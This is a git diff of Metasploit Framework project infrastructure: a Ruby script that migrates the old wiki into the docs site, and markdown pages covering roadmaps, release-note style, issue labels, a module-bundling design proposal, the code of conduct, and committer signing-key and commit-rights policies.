{ 'BUNDLE_GEMFILE' => File.join(Dir.pwd, 'Gemfile') },
'/bin/bash', '--login', '-c', command
@@ -1075,21 +441,20 @@ module Build
while wait_thread.alive?
ready = IO.select([stdout_and_stderr], nil, nil, 1)
if ready
reads, _writes, _errors = ready
next unless ready
reads, _writes, _errors = ready
reads.to_a.each do |io|
data = io.read_nonblock(1024)
puts data
result += data
rescue EOFError, Errno::EAGAIN
# noop
end
reads.to_a.each do |io|
data = io.read_nonblock(1024)
puts data
result += data
rescue EOFError, Errno::EAGAIN
# noop
end
end
if !wait_thread.value.success? && exception
raise "command did not succeed, exit status #{wait_thread.value.exitstatus.inspect}"
raise "command #{command.inspect} did not succeed, exit status #{wait_thread.value.exitstatus.inspect}"
end
end
@@ -1097,17 +462,68 @@ module Build
end
def self.run(options)
Git.clone_wiki! unless options[:skip_wiki_pull]
Git.clone_wiki! if options[:wiki_pull]
unless options[:skip_migration]
config = Config.new
# Create a new branch based on the commits from https://github.com/rapid7/metasploit-framework/wiki to move
# Wiki files into the metasploit-framework repo
if options[:create_wiki_to_framework_migration_branch]
starting_branch = run_command("git rev-parse --abbrev-ref HEAD").chomp
new_wiki_branch_name = "move-all-docs-into-folder"
new_framework_branch_name = "merge-metasploit-framework-wiki-into-metasploit-framework"
begin
# Create a new folder and branch in the old metasploit wiki for where we'd like it to be inside of the metasploit-framework repo
Dir.chdir(OLD_WIKI_PATH) do
# Reset the repo back
run_command("git checkout master", exception: false)
run_command("git reset HEAD --hard", exception: false)
run_command("rm -rf metasploit-framework.wiki", exception: false)
# Create a new folder to move the wiki contents into
FileUtils.mkdir_p("metasploit-framework.wiki")
run_command("mv *[^metasploit-framework.wiki]* metasploit-framework.wiki", exception: false)
# Create a new branch + commit
run_command("git branch -D #{new_wiki_branch_name}", exception: false)
run_command("git checkout -b #{new_wiki_branch_name}")
run_command("git add metasploit-framework.wiki")
run_command("git commit -am 'Put markdown files into new folder metasploit-framework.wiki in preparation for migration'")
end
# Create a new branch that can be used to create a pull request
run_command("git branch -D #{new_framework_branch_name}", exception: false)
run_command("git checkout -b #{new_framework_branch_name}")
run_command("git remote remove wiki", exception: false)
run_command("git remote add -f wiki #{File.join(Dir.pwd, OLD_WIKI_PATH)}", exception: false)
# run_command("git remote update wiki")
run_command("git merge -m 'Migrate docs from https://github.com/rapid7/metasploit-framework/wiki to main repository' wiki/#{new_wiki_branch_name} --allow-unrelated-histories")
puts "new branch #{new_framework_branch_name} successfully created"
ensure
run_command("git checkout #{starting_branch}")
end
end
if options[:copy_old_wiki]
FileUtils.copy_entry(OLD_WIKI_PATH, WIKI_PATH, preserve = false, dereference_root = false, remove_destination = true)
# Remove any deprecation text that might be present after copying the old wiki
Dir.glob(File.join(WIKI_PATH, '**', '*.md')) do |path|
previous_content = File.read(path, encoding: Encoding::UTF_8)
new_content = WikiDeprecationText.remove(previous_content)
File.write(path, new_content, mode: 'w', encoding: Encoding::UTF_8)
end
end
unless options[:build_content]
config = Config.new(NAVIGATION_CONFIG)
migrator = WikiMigration.new
migrator.run(config)
migrator.run(config, options)
end
if options[:production]
FileUtils.remove_dir(PRODUCTION_BUILD_ARTIFACTS, true)
run_command('JEKYLL_ENV=production jekyll build')
run_command('JEKYLL_ENV=production bundle exec jekyll build')
if options[:serve]
ProductionServer.run
@@ -1119,7 +535,10 @@ module Build
end
if $PROGRAM_NAME == __FILE__
options = {}
options = {
copy_old_wiki: false,
wiki_pull: false
}
options_parser = OptionParser.new do |opts|
opts.banner = "Usage: #{File.basename(__FILE__)} [options]"
@@ -1127,14 +546,6 @@ if $PROGRAM_NAME == __FILE__
return print(opts.help)
end
opts.on('--skip-wiki-pull', 'Skip pulling the Metasploit Wiki') do |skip_wiki_pull|
options[:skip_wiki_pull] = skip_wiki_pull
end
opts.on('--skip-migration', 'Skip building the content') do |skip_migration|
options[:skip_migration] = skip_migration
end
opts.on('--production', 'Run a production build') do |production|
options[:production] = production
end
@@ -1142,6 +553,25 @@ if $PROGRAM_NAME == __FILE__
opts.on('--serve', 'serve the docs site') do |serve|
options[:serve] = serve
end
opts.on('--[no]-copy-old-wiki [FLAG]', TrueClass, 'Copy the content from the old wiki to the new local wiki folder') do |copy_old_wiki|
options[:copy_old_wiki] = copy_old_wiki
end
opts.on('--[no-]-wiki-pull', FalseClass, 'Pull the Metasploit Wiki') do |wiki_pull|
options[:wiki_pull] = wiki_pull
end
opts.on('--update-wiki-deprecation-notice [WEBSITE_URL]', 'Updates the old wiki deprecation notes') do |new_website_url|
new_website_url ||= 'https://docs.metasploit.com/'
options[:update_wiki_deprecation_notice] = {
new_website_url: new_website_url
}
end
opts.on('--create-wiki-to-framework-migration-branch') do
options[:create_wiki_to_framework_migration_branch] = true
end
end
options_parser.parse!
@@ -0,0 +1,27 @@
# Metasploit's 2017 Roadmap Review
In 2017, we published our first open roadmap for Metasploit development. How did we do? For achievements:
* The Metasploit data model backend: we did a lot of design work on this, and got a couple of initial Proof-of-Concept project built. You can see a video of it here: <https://www.youtube.com/watch?v=hvuy6A-ie1g>. In the mean time, we started merging parts of the main development branch
* The first pass of external session handling landed with the metasploit-proxy project.
* Independent modules that run in isolation _did_ land, along with a hand full of new modules demonstrating the advantages of the design, including multi-language support.
* The ruby_smb project made a lot of progress, with support incorporated into several existing modules. Full client-side support is also available for testing now.
* Native iOS and macOS support landed, along with many new IoT and router exploits.
* Meterpreter shrank almost 4x thanks to the new cryptTLV packet obfuscation support, and the removal of OpenSSL.
Things we didn't quite finish:
* Metasploit's RESTful interface was not complete in 2017, so we will continue it into 2018.
* Session handling as a separate process was implemented with the <https://github.com/rapid7/metasploit-aggregator> project, but more work needs to be done to improve scalability and usability.
* Asynchronous session support remains on the drawing board.
* SOCKS5 support did not land, but Metasploit did gain a lot more support for running modules externally as separate processes, and gained initial support for running modules in Python.
* Modernized payload generation with new tools continues to be researched.
@@ -0,0 +1,30 @@
# Metasploit's 2017 Roadmap
Starting in 2017, we will provide an open roadmap for setting our goals for the year. The goals are based on many discussions we have had over the past year with users, developers, and customers. The intent is to provide focus for core developers and contributors alike, so that we can together work toward a common vision for how we want Metasploit to evolve.
This year, the themes for Metasploit are modularity, reusability, and reliability.
Metasploit has grown organically over the years into a very large project, combining thousands of modules, payloads, a database, session handling, user interaction and more into a single monolithic application. While the design has served us well, it has reached some limits for maintainability and agility. While we continue to refactor, improve, and reorganize Metasploit, large-scale improvements become increasingly difficult and highlight fragility in the overall system, due to its highly interdependent design.
We want to allow users to effortlessly contribute to the portions of Metasploit they are interested in, and be able to reuse code, both from inside and and outside of the project. Language and licensing constraints have presented barriers to users, both real and imagined. Python, Go, C# and other languages are dominating influences on the infosec community. We would like to be able to welcome more developers, researchers, and tooling into the Metasploit ecosystem, taking advantage of the best-in-breed and avoiding not-invented-here syndrome wherever possible.
In short, we want to develop reusable, modular, and reliable services to enable researchers, pen-testers, students, and red-teamers to work efficiently, have access to the latest technologies and techniques, and to continue to grow the Metasploit community.
## The roadmap
* The Metasploit data model backend should be separated into its own project. Plans include a data service that provides a RESTful interface, both an event-oriented and classic workspace-oriented view of incoming data, improved performance, and easy direct interoperability with other tools.
* Session handling should be able to operate independently of framework, allowing users to share sessions and allowing servers to be as performant, reliable, and light-weight as possible. We have already begun a project called 'metasploit-aggregator' which is a first generation of this design. Once this is complete, direct integration into other frameworks should also be possible.
* Metasploit should support asynchronous sessions. Many testers today use asynchronous frameworks like Empire to maintain light-weight persistence or a footholds into a network, then have to pivot to Meterpreter for interactive sessions. We would like to be able seamlessly support both modes of operation, including the ability to run post exploitation modules and modules over pivots asynchronously as well.
* Metasploit should support running exploit and auxiliary modules in an isolated mode. Plans are underway to support supporting an RPC-style module API to Metasploit framework, providing core services like payload and session handling, network routing, reporting and logging. Modules are run as child processes to Metasploit, and are only loaded into memory as-needed. Networking from a module point-of-view will be handled via SOCKS5 proxy support, hooking the child environment, or remote API calls, largely removing the need for specially-crafted socket objects or changes to 3rd-party protocol libraries. Modules, when written for the Metasploit API, could even be tested and used independently from the full Metasploit framework.
In addition to these primary goals, we'd also like to explore:
* *SMB 2.0* SMB 1.0 increasingly being disabled in many networks, making Metasploit modules using this protocol ineffective. We would like to implement at least server-side support for SMB 2.0, both for sharing files and for named pipe communications.
* *iOS and macOS support* The mettle and python meterpreter payloads will continue evolving to further support OS X and iOS, along with more post exploitation support.
* *Native Android support in Mettle* We began the work last year with mettle now supporting all of the basic operations for a Meterpreter implementation. We would like to continue adding Android post-exploitation capabilities to mettle as well.
* *Streamlining Windows Meterpreter* mettle soon will replace the original POSIX meterpreter, which will reduce the size of the Windows meterpreter. Switching from OpenSSL to native SChannel support will simplify and shrink Windows meterpreter, allowing to focus on what it supports best.
* *Router and IoT research* We would like to continue research and support for embedded device exploitation and first-class support for resource-constrained environments.
* *Modernizing payload generation* We are investigating being able to integrate with third-party toolchains for building assembly, C, .NET, Java, on the fly, making it easy for a user to acquire the and use the tools, while providing first-class support for many architectures and platforms.
+3
View File
@@ -0,0 +1,3 @@
View the latest API docs at:
[https://rapid7.github.io/metasploit-framework/api/](https://rapid7.github.io/metasploit-framework/api/)
@@ -0,0 +1,69 @@
Release notes inform our users about the stuff we're shipping in each release. By looking at our release notes, our users should be able to easily understand what's new, what's fixed, and what's changed in the release. Therefore, **all PRs, except for minor fixes and tweaks, must have release notes.**
To add a release note to a pull request, you'll need to add it as a comment, like so:
![Release Notes Example](https://i.imgur.com/dgzQxyD.png)
You'll need to tag the comment for inclusion in the release notes by using the `# Release Notes` heading. After you apply the release notes heading, you can enter the release notes text you want to use.
That's it! After you add the release notes text, we'll be able to extract them from the pull requests when we run our release notes script and compile them into a single document.
## Writing Release Notes
Okay, so now that you know how to add a release note, you're wondering what you're supposed to write.
Basically, a release note summarizes the pull request and describes the value of the fix/feature to the user. Each release note has a title, a PR number, and a brief description.
Here's an example of what a release note looks likes:
>The Beholder plugin automatically captures keystrokes, screenshots, and webcam snapshots from your active sessions. Run this plugin to collect data from your compromised targets every 30 seconds.
## Types of Release Notes
There are three types of release notes:
* [Enhancement](#release-notes-for-enhancements)
* [Fix](#release-notes-for-fixes)
* [Modules](#release-notes-for-modules)
### Release Notes for Enhancements
An enhancement indicates that an improvement or new feature has been added to the framework. Enhancements include things like auxiliary modules, post-exploitation modules, and new payloads.
When you write release notes for an enhancement, you should try to answer the following questions:
* What is the enhancement?
* Why is it valuable or important to users?
* How can they use it?
For example, the following is a release note for an enhancement:
> The new 'resolve' command enables you to perform DNS lookups with Meterpreter, without leaving the session to run additional modules. To resolve host names on the target, you can run the 'resolve' command followed by the host name. For example, in the Meterpreter prompt, you can type something like 'resolve rapid7.com' to view the host resolutions for Rapid7.
### Release Notes for Fixes
A fix is for an issue that caused a particular feature or functionality to not work the way it's expected to work. Basically, a defect indicates that something was broken, and we've fixed it.
When you write release notes for a fix, you should try to answer the following questions:
* What was broken?
* How was it fixed?
* Why is this important to users?
Here's an example for a fix:
> The email header contained duplicate date and subject headers, which caused email servers like AWS SES, to reject the emails. This fix removes the duplicate headers so that campaigns can send emails successfully.
### Release Notes for Modules
An exploit is a module that takes advantage of a vulnerability and provides some type of access to the target. We call out exploits explicitly because they're the hotness.
When you write release notes for an exploit, you should try to answer the following questions:
* What vulnerability is the module exploiting?
* What type of access can you achieve with the module?
* Do you need credentials to exploit the vulnerability?
And finally, here's an example for exploits:
> This module allows you to exploit HP Data Protector, a backup and recovery system, to remotely upload files to the file share. Versions 6.10, 6.10, and 6.20 are vulnerable. You don't need to authenticate to exploit this vulnerability.
@@ -0,0 +1,52 @@
Maintainers can assign labels to both issues and pull requests.
### Docs
Documentation changes, such as YARD markup, or README.md, or something along those lines.
### External
Touches something in /external, or the Gemfile, or something like that.
### Heartbleed
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
### Library
Touches something in /lib.
### Meterpreter
Has to do with Meterpreter, or depends on a Meterpreter change to land to work.
### Misc
Plugins and scripts, anything that's not otherwise defined.
### Module
Touches something in /modules
### Specs
Has specs (an rspec test)
### Newbie Friendly
Something that's pretty easy to test or tackle.
### attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Needs unique branch
Your submitted a PR from your `master` branch.
Because of how GitHub tracks changes between branches and what got added in a particular PR, we don't accept contributions from the `master` branch of your fork. All branches are [required to be unique](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#code-contributions). If your PR is closed because of this, create a new branch with that code and we'll be happy to look at it again!
```
git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
@@ -0,0 +1,118 @@
# Bundled Modules
Created by Adam Cammack
As Metasploit modules continue to grow in number and capability the current separation of module information by type grows more cumbersome. Starting next year, we want all the files related to a module (docs, libraries, sources, build info, etc.) to live as closely together and be as hackable as possible. To this end, we have come up with the concept of "module bundles" to help improve module dependency isolation and locality of information. We hope the format will prove flexible enough to accommodate the wide range of modules we have and uniform enough to not cause confusion among community members and contributors. Eventually, we may even be able to package each module separately for distribution.
Whether or not this bundled format will support the old style of module is uncertain. It could be made to work, I think, but it would require a fair bit of effort and ingenuity to work cleanly. For simplicity, I will describe the bundle concept as it applies to external/coldstone modules and then describe potential adaptations at the end.
## Directory structure
Example complicated Ruby module:
```
$ tree --dirsfirst --charset=ascii -F bundled_module/
bundled_module/
|-- data/
| `-- stack_smash
|-- docs/
| |-- bundled_module.md
| |-- poc.py
| `-- success.pcap
|-- lib/
| |-- foo/
| | |-- bar.rb
| | `-- baz.rb
| `-- foo.rb
|-- src/
| `-- stack_smash.s
|-- templates/
| `-- exploit.ps.erb
|-- Dockerfile
|-- Gemfile
|-- Gemfile.lock
|-- Rakefile
|-- bundled_module.rb*
`-- metadata.json
```
## Aside: things I'm not sure of and reference vaguely
- Would the main executable be named after the module (same as the directory, maybe with extension), or given a
- standard name?
- Would the JSON metadata file be named after the module or given a standard name?
- Would we ever allow multiple closely related modules per directory? (eg. routersploit integration, impacts how we think about the above)
- If so or not, how would we deal with closely related functionality that has different options for different actions?
- Do things like client blobs (HTML, JavaScript, images, etc.) belong in `data/` or should we also have a `static/`? (`static/` seems to get a bit fiddly to me; `data/static/`?)
## Required files
To keep overhead to a minimum for hackers who are developing modules, we need to minimize files that the author will need to create, touch, and understand for most tasks (restated: every file an author must touch should be directly related to particular and specialized functionality that they want as part of the preparation or execution of a module). The most minimal module only requires the main executable to be present. When loading modules, framework will see a leaf directory without certain expected files and will generate the default ones automatically. This behaviour can be later augmented with guessing of which defaults based on what _is_ present in the directory.
- If Rakefile is absent, framework will generate one that references the shared rake tasks.
- If Gemfile is absent and the executable ends in .rb, framework will generate one that depends on the bridge libraries from source.
- If metadata.json is absent, framework will generate it using rake.
All this generation logic should be available as part of a standalone scaffolding tool.
## Keeping it all close
One of the drawbacks of the current module system is that all the files related to the development, documentation, and execution of a module live in different places. Some information, like dependencies, is only tracked implicitly or lossily in code or in the top-level specifications of framework. This makes programmatically determining what a module is, targets, or requires fraught with fragile code.
### Metadata
The metadata will be kept in JSON in a file (or several, see my uncertainties above) that is built by rake. Keeping the metadata cached per-module gives us several capabilities. First, updates look more logical in commits, and the files can be updated as part of the standard PR/landing process. Next, dependency tracking of when the metadata needs to be updated can be offloaded to standard build tool capabilities.
Because invoking rake has overhead, any metadata that exists should be considered correct during initial module discovery. Any modules without metadata should then have it generated via rake. Next, every module should have its metadata building task run to (and stale metadata replaced) ensure correctness. If a module is use'd before this process completes, it must have it metadata refreshed via rake if needed as part of the loading process. Since modules are independent, the whole discovery/refreshing process is parallelizable, reducing wall time.
In addition to the information we currently cache, we will want to cache any information a user might see or want to know so that, if the cached metadata is more recent than any module files, nothing has to be built or run to use the module. Notably, this includes options and module archetype (which in the future directly map options for user convince, vs the shim approach take today).
### Build info
All additional build info should be specified as tasks in the module Rakefile. As much a possible, this should also include building with IDE environments, like Visual Studio. Even if the binaries are checked in to reduce runtime requirements (see below), it is still invaluable to know how something was built in the first place.
### Blobs and sources
Sources are handy, it should be easy to find them! Now they will live in the module in the `src/` directory. Here the Rakefile can easily find them and transform them into the beautiful exploitation resources they were meant to be.
As much as possible, only sources should be checked into the tree. For super-specific platform targeting things though, that's not always feasible (eg. VisualStudio projects). It's times like these that the `data/` directory should be used. As mentioned above, the Rakefile should still be able to build the thing given the correct environment.
Blobs or assets without a checked-in source also belong in `data/`, like images or downloaded things. Things for client exploits to download should probably also go in here, like HTML files and static JavaScripts.
### Templates
Modules that use a large literal interspersed with runtime data should use the `templates/` directory to store templates. ERB should be used for printable data by Ruby, and equivalents for other languages (DTL, mustache, etc.). Binary data should maybe be blobs with accompanying offset listings?
### Docs
The `docs/` directory will contain the files that a user will reference when trying to understand module. This may include PoCs, markdown, pcaps, etc. The HTML we currently show to users would be generated from the module and files here using rake tasks.
### Additional tooling
One advantage that this directory structure gives us is the ability to write better tooling for it than we have for the current iteration of modules. One downside is that we will need it to in order to make the format accessible to hackers.
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
rake metadata -- Generate metadata JSON
rake tidy:code -- Run tidiness checks against the code
rake tidy:metadata -- Run tidiness checks against the metadata
rake doc:text -- Combine all docs into a plain-text, human readable thing
rake doc:html -- Similar to today's info -d
rake deps -- Install dependencies local to the current user, if possible
rake deps:check -- Check to see if a module can likely be run in the current environment
rake build -- Build files that need it, defaults: src/FILE.s => data/FILE (extracted from exe format), ...?
rake clean -- Remove generated files
rake clobber -- Reset to pristine, checked-out state
```
### Module generation
At the very least, we will also need tooling to create a mostly-empty but runnable module so that an author knows what to poke when writing. This skeleton can be augmented by questions that can help us use different archetypes, like payload vs. remote, or Ruby vs. Python. These commands could also point the author to relevant module writing articles/documentation.
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
@@ -0,0 +1,52 @@
# Contributor Code of Conduct
As contributors and maintainers of this project, and in the interest of
fostering an open and welcoming community, we pledge to respect all people who
contribute through reporting issues, posting feature requests, updating
documentation, submitting pull requests or patches, and other activities.
We are committed to making participation in this project a harassment-free
experience for everyone, regardless of level of experience, gender, gender
identity and expression, sexual orientation, disability, personal appearance,
body size, race, ethnicity, age, religion, or nationality.
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery
* Personal attacks
* Trolling or insulting/derogatory comments
* Public or private harassment
* Publishing other's private information, such as physical or electronic
addresses, without explicit permission
* Other unethical or unprofessional conduct
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
By adopting this Code of Conduct, project maintainers commit themselves to
fairly and consistently applying these principles to every aspect of managing
this project. Project maintainers who do not follow or enforce the Code of
Conduct may be permanently removed from the project team.
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
caitlin_condon@rapid7.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.
Maintainers are obligated to maintain confidentiality with regard to the
reporter of an incident.
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 1.3.0, available at
[http://contributor-covenant.org/version/1/3/0/][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/3/0/
@@ -0,0 +1,121 @@
This page lists the keys in use by [Metasploit committers][msf-committers] and
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
# Keybase.io identities
Keybase.io is used by Metasploit as an easy way to verify identities of committers. If you're a committer on metasploit-framework, and you need an invite, just ask.
<sup>Altering this table's layout will almost certainly break [import-dev-keys.sh](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/import-dev-keys.sh), so please don't.</sup>
| Github Username | Keybase.io Username |
| ------------------------------------------------- | -------------------------------------------------- |
| [@acammack-r7](https://github.com/acammack-r7) | [acammackr7](https://keybase.io/acammackr7) |
| [@bcoles](https://github.com/bcoles) | [bcoles](https://keybase.io/bcoles) |
| [@busterb](https://github.com/busterb) | [busterb](https://keybase.io/busterb) |
| [@bwatters-r7](https://github.com/bwatters-r7) | [bwatters](https://keybase.io/bwatters) |
| [@ccondon-r7](https://github.com/ccondon-r7) | [catc0n](https://keybase.io/catc0n) |
| [@cdelafuente-r7](https://github.com/cdelafuente-r7)|[cdelafuente](https://keybase.io/cdelafuente) |
| [@chiggins](https://github.com/chiggins) | [chiggins](https://keybase.io/chiggins) |
| [@egypt](https://github.com/egypt) | [egypt](https://keybase.io/egypt) |
| [@FireFart](https://github.com/FireFart) | [firefart](https://keybase.io/firefart) |
| [@Green-m](https://github.com/Green-m) | [green-m](https://keybase.io/green_m) |
| [@gwillcox-r7](https://github.com/gwillcox-r7) | [grantwillcox](https://keybase.io/grantwillcox) |
| [@h00die](https://github.com/h00die) | [h00die](https://keybase.io/h00die) |
| [@jbarnett-r7](https://github.com/jbarnett-r7) | [jmbarnett](https://keybase.io/jmbarnett) |
| [@jmartin-r7](https://github.com/jmartin-r7) | [jmartinr7](https://keybase.io/jmartinr7) |
| [@lsato-r7](https://github.com/lsato-r7) | [louissato](https://keybase.io/lsato) |
| [@Meatballs1](https://github.com/Meatballs1) | [meatballs](https://keybase.io/meatballs) |
| [@mkienow-r7](https://github.com/mkienow-r7) | [inokii](https://keybase.io/inokii) |
| [@mubix](https://github.com/mubix) | [mubix](https://keybase.io/mubix) |
| [@OJ](https://github.com/OJ) | [oj](https://keybase.io/oj) |
| [@scriptjunkie](https://github.com/scriptjunkie) | [scriptjunkie](https://keybase.io/scriptjunkie) |
| [@sgonzalez-r7](https://github.com/sgonzalez-r7) | [essgee](https://keybase.io/essgee) |
| [@smashery](https://github.com/smashery) | [smashery](https://keybase.io/smashery) |
| [@space-r7](https://github.com/space-r7) | [shelbyp](https://keybase.io/shelbyp) |
| [@tdoan-r7](https://github.com/tdoan-r7) | [doanosaur](https://keybase.io/doanosaur) |
| [@timwr](https://github.com/timwr) | [timwr](https://keybase.io/timwr) |
| [@todb-r7](https://github.com/todb-r7) | [todb](https://keybase.io/todb) |
| [@void-in](https://github.com/void-in) | [void_in](https://keybase.io/void_in) |
| [@wchen-r7](https://github.com/wchen-r7) | [wchenr7](https://keybase.io/wchenr7) |
| [@zeroSteiner](https://github.com/zeroSteiner) | [zerosteiner](https://keybase.io/zerosteiner) |
Note, keybase.io does **not require** your private key to prove your GitHub
identity. Actually sharing your private key with Keybase.io is a matter of
contention -- here's the usual argument [against][con-sharing], and here's one
thoughtful argument [for][pro-sharing].
# Tracking criteria
In order to get [@bcook-r7](https://github.com/bcook-r7) to track your key, you
alert him to its existence through some non-GitHub means, and verify your
GitHub username. That's all there is to it.
It would be sociable to track him (and everyone else on this list) back.
Tracking is essentially "trusting" and "verifying" -- see the much longer
discussion [here][tracking].
# Signing your commits and merges
Contributors are encouraged to sign commits, while Metasploit committers are required to sign their merge commits. Note that the name and e-mail address must match the information on the signing key exactly. To begin:
1. Generate a signing key, if you don't have one already, using your favorite PGP/GPG interface:
```
$ gpg --gen-key
gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) 1y
Key expires at Fri 20 Dec 2019 01:38:11 PM CST
Is this correct? (y/N) y
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
Real name: Dade Murphy
Email address: dmurphy@thegibson.example
Comment:
You selected this USER-ID:
"Dade Murphy <dmurphy@thegibson.example>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.
Enter passphrase: [...]
```
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
[user]
name = Your Name
email = your_email@example.com
signingkey = DEADBEEF # Must match name and email exactly!
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
[msf-committers]:https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
[tracking]:https://github.com/keybase/keybase-issues/issues/100
@@ -0,0 +1,54 @@
# Metasploit Committers
The term "Metasploit Committers" describes people who have direct write access to the [Rapid7 Metasploit-Framework fork](https://github.com/rapid7/metasploit-framework). These are the people who can land changes to this main fork of the Framework. However, it is not necessary to have committer rights in order to contribute to Metasploit. Much of our code comes from non-committers.
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) setup guide.
Metasploit committers are a mix of [Rapid7](http://rapid7.com) employees and outside contributors. Anyone can become a contributor, with the following expectations:
1. Committers are empowered to participate in code review, help newbies, and be positive role models in the larger development community.
2. Committers are likely to take up chores such as writing documentation, evangelization, writing test cases, and code review.
3. Committers help maintain the character of the Metasploit Framework as a truly independent open source project.
The Metasploit community is built on the core belief that open contributions and open discussion of security issues has strong benefits for the Internet in general and human society as a whole. By helping each other demonstrate security vulnerabilities and exposures, we foster a community of excellent, ethical practitioners of information security.
# How to be a Committer
Committers tend to review pull requests that come in from other committers and from the wider Metasploit community. Committers generally should not land their own code without some sort of review from another contributor or committer.
For most changes, please open a pull request. In addition, always ask for someone to review your work. Even simple fixes might be better done otherwise. If you get no feedback on your pull requests, ask again. Be annoying if necessary! Don't submit a pull request or make a comment and let it rot because nobody responds.
Pull requests should be merged with a `git merge -S --no-ff` in order to ensure a merge commit is always generated, and your merge commit is signed with your PGP key. Avoid clicking the green "merge" button in Github in order to avoid race conditions with landing code that may sneak past review, and of course, so you can sign your commits.
If you reject a pull request, be clear in the pull request why it was rejected, with some effort made to point at helpful resources for next time. Most people don't often commit to open source code, so when someone does, please be respectful of their efforts.
Even if someone else approves of a pull request, and it is shown to be broken later, then it is still your responsibility to correct it. Make every effort to get a fix or revert in as soon as possible, whether you wrote the code, landed it, or approved it. Blame is shared equally.
A list of committer public keys [is here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
# How to Gain Commit Rights
Commit rights are granted via votes on the committers mailing list. Voting records are archived for the benefit for current and future committers.
1. Any current committer may nominate any one person as a potential committer by writing to the committers mailing list.
2. The nominator must provide a justification for committer rights, and include the nominee's e-mail address.
2. After some discussion on the mailing list, there will be a group vote on the nominee.
2. The Metasploit manager (@busterb) will inform the new committer of their new commit rights and responsibilities, add the new committer to the appropriate ACL groups and mailing lists, and inform the mailing list of the successful completion of these tasks.
Committers introduced in this way will have commit rights to the [public framework repositories](https://github.com/orgs/rapid7/teams/framework-public-committers/repositories).
# How to Lose Commit Rights
Committer rights are not granted strictly on the basis of proven code quality; committer rights are a statement of trust by the existing body of committers, so there are highly subjective criteria in play as well. Elements like an agreeable personality, the ability to remain calm in the face of trolling, the avoidance of criminal proceedings, and other aspects of a committer's life all play a part in the initial granting of commit access.
Breaches of trust in terms of malicious or malformed code, or the demonstration of poor judgement that would reflect poorly on the Metasploit project will lead to a discussion on the committer mailing list, and which is likely result in the removal of committer rights.
# Useful Links for Committers
* [http://r-7.co/MSF-DEV](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) is pretty much required reading.
* So is [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md)
* Check out the Apache Software Foundation's [Guide for Committers](https://www.apache.org/dev/committers). It's illuminating.
* [Producing Open Source Software](http://www.producingoss.com/gl/) by Ken Fogel is a must-read.
* Zach Holman's [Open Source Misfeasance](https://speakerdeck.com/holman/open-source-misfeasance) slides -- the video is gone!
* [How to Survive Poisonous People](https://www.youtube.com/watch?v=Q52kFL8zVoM) by Ben Collins-Sussman and Brian Fitzpatrick
* [The Netiquette RFC](http://www.faqs.org/rfcs/rfc1855.html) is about how to be polite.
@@ -0,0 +1,202 @@
